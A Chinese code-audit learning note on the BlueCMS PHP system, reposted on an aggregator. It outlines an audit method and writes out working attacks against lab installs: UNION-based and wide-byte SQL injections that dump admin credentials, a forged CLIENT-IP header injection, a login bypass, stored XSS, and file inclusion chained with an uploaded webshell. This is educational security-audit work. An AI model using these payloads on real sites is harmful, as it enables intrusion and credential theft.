46

BlueCMS审计学习笔记

 4 years ago
source link: https://www.tuicool.com/articles/3yYn22F
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这篇只能算是学习笔记,因为bluecms是我第一次审计的CMS,所以参考了不少前辈们的经验。参考文章于文末给出。 算是一个记录了我的学习心得,学习的过程的文章。

一.实践总结:

1.可以按照功能点审计,比如评论处是否支持匿名,有没有获取ip处存在sql注入(X-FORWARD-FOR),头像处能否上传图片马;
2.文件包含漏洞除了可以爆关键文件外,也可以和其它漏洞结合(比如图片上传马);
3.对项目结构要有了解,include一般为配置文件所在。可以首先去配置文件中看有没有统一过滤(对get,post,request等),其次看能不能绕过,有没有遗漏;
4.但凡没有使用单引号的变量都可以绕过魔术引号的转译;
5.代码审计从有输入的地方入手。

二.思路总结

1.分析项目结构,分析配置文件(是否存在统一过滤)
2.根据统一过滤存在的绕过问题,遗漏的变量进行代码审计(例如:查找没有用单引号处理的变量)
3.剩余根据功能点进行审计:首先对一个项目的功能点进行总结。例如:注册,登录,评论,发表文章,头像上传,数据库备份,文件上传查看对应代码处是否存在漏洞
4.对个别文件进行通读(尤其注意有输入的地方)。如user.php
5.搜索危险函数

三.实践

分析项目结构:

V73qymy.jpg!web

/admin为后台管理员

/include包含全局的文件,有函数定义的文件,数据库配置,统一过滤配置文件

/install安装

分析配置文件:

思路1:关键字$_GET,$_POST等搜索,看有无过滤

思路2:看主页index包含了哪些配置文件

common.inc.php

对配置文件进行审计,在include文件夹下common.inc.php文件中发现

eaaEJnI.jpg!web

存在统一过滤。以上的统一过滤只有在变量被单引号括起来的时候有效。进行分析后发现遗漏了$_SERVER(伪造client-ip和x-forwarded-for)

*$_SERVER没有过滤可以全局搜搜getip类似的函数名,查看代码如何获取ip

1.可以重复安装

对关键文件Instll.lock进行分析(如果存在这个文件则不能重复安装,跳转到首页)

Vn2MbqJ.jpg!web

首先,对Install.lock全局搜索

发现install.lock文件的处理有逻辑错误

对应代码

Q73eUzQ.jpg!web

代码分析

is_writeable()函数官方说明:如果文件 filename 存在并且可写则返回 TRUE。即install.lock文件并没创建成功

2.ad_js.php

按照配置文档的审计:统一过滤存在绕过问题

全局审计到存在SQL注入的地方,变量没有过滤(双引号,addslash)

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

跟踪$ad_id

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

getone函数

y6NVza6.jpg!web

使用元数据表爆出表名

ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()

爆出字段

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

获取用户名密码

ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

3.ann.php

存在注入的两条语句

$current_act = $db->getfirst("SELECT cat_name FROM ".table('ann_cat')."WHERE cid=".$cid);
$db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id =".$ann_id);

getfirst()函数

*和getone()函数功能一样,均为执行查询只是返回值不同为变量

26rum2E.jpg!web

cid和ann_id被赋值过程

2UbEJnf.jpg!web

被intval处理过了,不能注入

备注:学习intval特性可能导致安全漏洞 http://huaidan.org/archives/3047.html

同理无法注入的部分:

1.command.php里的两条sql

4.user.php

按照功能审计:支付功能

(1)act=pay时的文件包含漏洞

存在文件包含漏洞

EvAzaq2.jpg!web

漏洞利用BurpSuite抓包:

7zqaeam.jpg!web

ZVryqmR.jpg!web

利用结合:头像上传,上传图片马然后执行

(2)@unlink(BLUE_ROOT.$_POST['face_pic3'])

zeINveA.jpg!web

5.article.php

BVnAri6.jpg!web

6.user.php

按照功能审计:用户注册,登录,编辑个人资料

学习: https://www.freebuf.com/articles/web/203795.html?utm_source=tuicool&utm_medium=referral

(1)注册存在注入漏洞(SQL和XSS)

先黑盒测试注册抓包

mINRVvU.jpg!web

然后再去审计工具找对应代码

7JraAbe.jpg!web

没有对XSS的相关符号进行过滤。存在存储型XSS

r6jQVzA.jpg!web

注入后效果:

qQviief.jpg!web

注册对应SQL语句

fua6nyj.jpg!web

构建payload

%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

其中(100,0×6162717765,md5(123456),(select database()),1,1)为创建的新用户,100为uid,十六进制为用户名

*补充知识:updatexml(),extractvalue()报错型SQL注入

https://blkstone.github.io/2017/11/09/updatexml-sqli/

(2)登录处存在注入漏洞(SQL和XSS)

黑盒+白盒审计能否无验证登录任意账户

首先黑盒测试抓包

faeAbam.jpg!web

白盒找变量处理对应代码

f2iuQz6.jpg!web

login函数

FJJ7jiA.jpg!web

没有什么过滤。用万能密码登录测试

payload:
%df’) or 1=1#

FNfqEbI.jpg!web

(3)编辑个人资料

白盒至个人资料处,检查是否存在XSS漏洞。查看对应代码处

7JNJ7jQ.jpg!web

通注册一样的,email注入xss(其他字段长度受限)

(4)新闻添加处

对htmlspeciachars发现,descript和content没有进行过滤

YnUJJjb.jpg!web

filter_data函数

3EVney2.jpg!web

可以进行绕过的。正则表达式表示过滤掉除了<之外一切<>之间模式匹配的的内容(<和下一个字符没有空格才能被过滤掉)

mb_substr()函数获取字符串的一部分,

$descript = !empty($_POST['descript']) ?mb_substr($_POST['descript'], 0, 90) :mb_substr(html2text($_POST['content']),0, 90);
mb_substr($_POST['descript'], 0, 90)表示从0位置开始取90个长度。可以直接注入XSS

效果图如下

3imUVzz.jpg!web

(5)用户头像处

https://www.zkaq.org/?t/159.html 图片马的制作及菜刀的使用

https://fly8wo.github.io/2018/07/08/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E7%AE%80%E4%BB%8B%E5%8F%8A%E4%BD%BF%E7%94%A8/

7.comment.php

按照功能审计:评论

对评论处发现支持匿名评论

VrAR7fR.jpg!web

BurpSuite抓包如图,到comment.php下 寻找对应act=send处的代码

分析其中:

(1)SQL插入处没有过滤

(2)对comment部分的过滤有:htmlspecialchars

(3)ip获取处是getip()函数

*htmlspecialchars是将特殊字符转为html实体,如& ” ‘ < >

*nl2br是在加html的换行符的

查找其中getip()函数

neEnYbQ.jpg!web

可以利用X-FORWARDED_FOR控制ip传参(用sqlmap)

然后我把请求头保存至bluecms_1.txt中(如下)

POST /comment.php?act=send HTTP/1.1

Host: 192.168.1.134

CLIENT-IP: 1','2' ),("",'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.134/comment.php?id=1&type=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 119

Connection: close

Cookie: PHPSESSID=fd016adb291716840e559d1873ecc817

Upgrade-Insecure-Requests: 1

mood=1&comment=%CF%CC%D3%E3%D3%E3&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB

#

成功注入图:

IFBv2i2.jpg!web

8.数据库备份处可以爆破地址

按照功能审计:数据库备份

直接黑盒测试功能审计,备份好数据库后,发现数据库名称直接是日期。尝试爆破地址

http://192.168.1.133/data/backup/20190629.sql

可以访问。爆出了管理员用户名密码

UNzE73E.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK